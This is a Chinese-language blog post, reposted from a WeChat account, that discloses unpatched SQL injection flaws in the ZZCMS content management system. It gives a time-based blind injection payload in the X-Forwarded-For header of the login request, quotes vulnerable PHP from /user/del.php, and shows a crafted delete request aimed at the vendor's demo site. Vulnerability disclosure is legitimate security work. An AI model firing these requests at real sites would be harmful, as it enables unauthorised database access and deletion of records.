[开学前的0day福利]ZZCMS的前台多处SQL注入

  • A+
所属分类:代码审计

最近代码写不下去了,也思考不下去人生了。只能搞点代码审计练练手~但是大型的吧,黑盒搞着也累。小型的吧,好像钱又不满足我。算了算了,当我精力不足,先搞着小型CMS吧!


……真是尴尬,小型CMS也有人提交。那好,我公开下这些漏洞就好了!


首先在官网下载ZZCMS的源码

[开学前的0day福利]ZZCMS的前台多处SQL注入

看了下功能点还满多的,然后一个个看,正常是从安装目录去看,但是外网存在未安装的点实在太少,只能部署之后看下里面的功能!


本地搭建好之后,前台注册账号时候发现XFF可以进行注入,然后尝试了下,数据包结构如下:

POST /user/logincheck.php HTTP/1.1
Host: demo.zzcms.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Referer: http://demo.zzcms.net/user/login.php
Cookie: **
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&yzm=15&fromurl=http%3A%2F%2Fdemo.zzcms.net%2Fuser%2F&Submit=%E7%99%BB+%E5%BD%95

然后尝试了下延迟注入,最后得出payload:8.8.8.8' AND SLEEP(5) AND 'ANbK'='ANbK


由于对XFF代码位置不是特别熟悉,只知道程序没有对ip进行验证,获取xff后直接带入sql了。


之后再看user目录下的一些功能点后面发现了


位置/user/del.php 行119-132

if ($row){ while ($row=mysql_fetch_array($rs)){	 	if ($row["editor"]<>$username){ 	markit(); 	mysql_close($conn); 	showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!'); 	} 	mysql_query("delete from ".$tablename." where id =".$row['id']."");	 } mysql_close($conn); echo "<script>location.href='".$pagename."';</script>"; }  }

其中delete条件中变量无单引号保护

"delete from ".$tablename." where id =".$row['id'].""

从而使得了SQL注入的产生,用户注册后在前台只要删除的操作调用接口即可。构造数据包

以官方demo为准:

POST /user/del.php HTTP/1.1
Host: demo.zzcms.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Referer: http://demo.zzcms.net/user/licence.php?page=1
Cookie:*****
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

id%5B%5D=53&submit=%E5%88%A0%E9%99%A4&pagename=licence.php%3Fpage%3D1&tablename=zzcms_licence

sqlmap得出的结果:

[开学前的0day福利]ZZCMS的前台多处SQL注入


以上小姐姐所述
我司一概不负责



本文始发于微信公众号(逢人斗智斗勇):[开学前的0day福利]ZZCMS的前台多处SQL注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: